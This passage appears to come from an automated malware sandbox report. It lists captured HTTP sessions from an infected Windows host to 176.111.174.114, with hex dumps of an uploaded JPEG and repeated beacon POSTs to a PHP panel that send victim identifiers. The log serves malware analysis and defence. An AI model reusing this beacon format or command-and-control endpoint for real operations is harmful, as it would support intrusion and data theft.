00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:48.807065964 CEST	10118	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:48.807615042 CEST	10123	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:48.810621977 CEST	10134	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:48.810710907 CEST	10142	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:48.911453009 CEST	10146	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:48.911869049 CEST	10149	OUT	Data Raw: 0c cb 71 37 d8 ed 60 89 63 9e 09 44 6d 3c c7 cb 33 24 7b 3c 17 f6 84 fd ae 7f 6b 2f da ca de fa c3 f6 8e f8 d9 3f 8a 20 d4 f5 4d 3f 51 d4 8c fa 45 94 12 de 5d 58 d8 9b 0b 49 66 96 08 11 e5 68 ed 99 d0 6e 62 09 91 dc e5 dd 98 af 86 7f 6a ff 00 da Data Ascii: q7`cDm<3${<k/? M?QE]XIfhnbjwLv~H+jzfZ9{KKimu=rf82n_ros{]'.kEF1KNQi}~,O\|5oTW+o6u#JuV-!>q
Apr 28, 2021 23:23:48.911926031 CEST	10154	OUT	Data Raw: 3e ed 2c 71 fb d5 c6 24 73 09 e5 a7 f7 69 63 8d 37 7d da 73 f5 a5 55 db 4c cf 99 8b 45 14 56 84 8a 9f 7a a6 4f bb 51 c6 b5 2d 69 ef 91 20 a7 a7 4a 6a 7d ea 92 2f e9 5a 40 c8 92 3e a2 a4 4f bd 4c 8f bd 4a 9f 76 b7 89 8c 85 d9 fe cf e9 45 39 57 b9 Data Ascii: >,q$sic7}sULEVzOQ-i Jj}/Z@>OLJvE9WSZe=>-=cj)Hj}1?>2$-H$qjhR`65)8%qO>njLe!:}d}Og]12zvM/#VD:9=ijZNYHs0M"tj^IJ
Apr 28, 2021 23:23:48.912026882 CEST	10160	OUT	Data Raw: 00 61 69 92 72 d6 0a 0f fb 35 14 9e 11 d3 25 fb a8 e9 ff 00 02 a8 fe cb af d2 45 ff 00 69 d0 39 55 89 3b bd 4b e4 c3 c6 d3 cd 6e c9 e0 57 e9 0d f7 fc 05 aa b4 9e 0b d4 d3 e7 42 1e a3 ea 78 9a 7f 64 af ae 61 e5 f6 cc ee 7f bf 4f 4c 76 35 2c 9e 1e Data Ascii: air5%Ei9U;KnWBxdaOLv5,-{I6)9%B_OXj8Fr&zuhbnjVRcQZ!HXCSG&Dj42xOcDZc~oyG4rJc5be)
Apr 28, 2021 23:23:48.915177107 CEST	10173	OUT	Data Raw: 96 b9 5f f8 24 3e 9b 61 aa fc 58 f8 9b a7 5d 78 82 db 4d b7 7f 85 6f 9b fd 42 29 4c 71 81 af 68 c4 6e 58 52 47 e7 00 7c aa dc 91 9e 32 47 d5 d7 1e 2a fd 96 bc 51 fb 1e 5d 7f c1 22 3c 3d fb 46 78 7e ef 53 d3 7e 17 c3 ae 5a 78 fd 7c 67 01 d1 ae b5 Data Ascii: _$>aX]xMoB)LqhnXRG\|2G*Q]"<=Fx~S~Zx\|g7o(2x$?~'iWV+uH%cFUl3Tr^GF#$wwx4/fI$@?,{nT/t<9~,>,
Apr 28, 2021 23:23:48.915215015 CEST	10178	OUT	Data Raw: 12 5e eb de 18 f8 67 a3 78 3a c6 ed d0 db f8 6f c3 d7 37 b3 59 59 05 40 a5 62 7b fb 9b 9b 82 09 05 8f 99 33 9c b1 c1 03 0a 3d 4c 0d 4c e2 78 cb 57 56 a6 94 bb 5d fb f2 e5 6f 6f b1 cb b6 97 bd ed 65 7f 2f 1b 0c a6 18 56 e8 3b ce eb d2 dc aa ff 00 Data Ascii: ^gx:o7YY@b{3=LLxWV]ooe/V;\|rmRSdg5!ScNT~6mjJ*O/}"uZm^<z<z>9NOjHdQ'%&i%jb;S3iO1_g<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
537	192.168.2.5	50033	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:48.827353954 CEST	10143	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
538	176.111.174.114	80	192.168.2.5	50033	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:48.926449060 CEST	10197	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
539	176.111.174.114	80	192.168.2.5	50032	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:49.127985001 CEST	10292	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49740	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:31.971982002 CEST	1590	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
540	192.168.2.5	50034	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:49.148999929 CEST	10292	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
541	176.111.174.114	80	192.168.2.5	50034	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:49.260503054 CEST	10293	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
542	192.168.2.5	50036	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:49.462086916 CEST	10296	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
543	176.111.174.114	80	192.168.2.5	50036	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:49.558815956 CEST	10297	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
544	192.168.2.5	50037	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:49.764853001 CEST	10300	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
545	176.111.174.114	80	192.168.2.5	50037	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:49.866556883 CEST	10301	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
546	192.168.2.5	50038	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:50.074399948 CEST	10301	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
547	176.111.174.114	80	192.168.2.5	50038	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:50.174210072 CEST	10302	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
548	192.168.2.5	50040	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
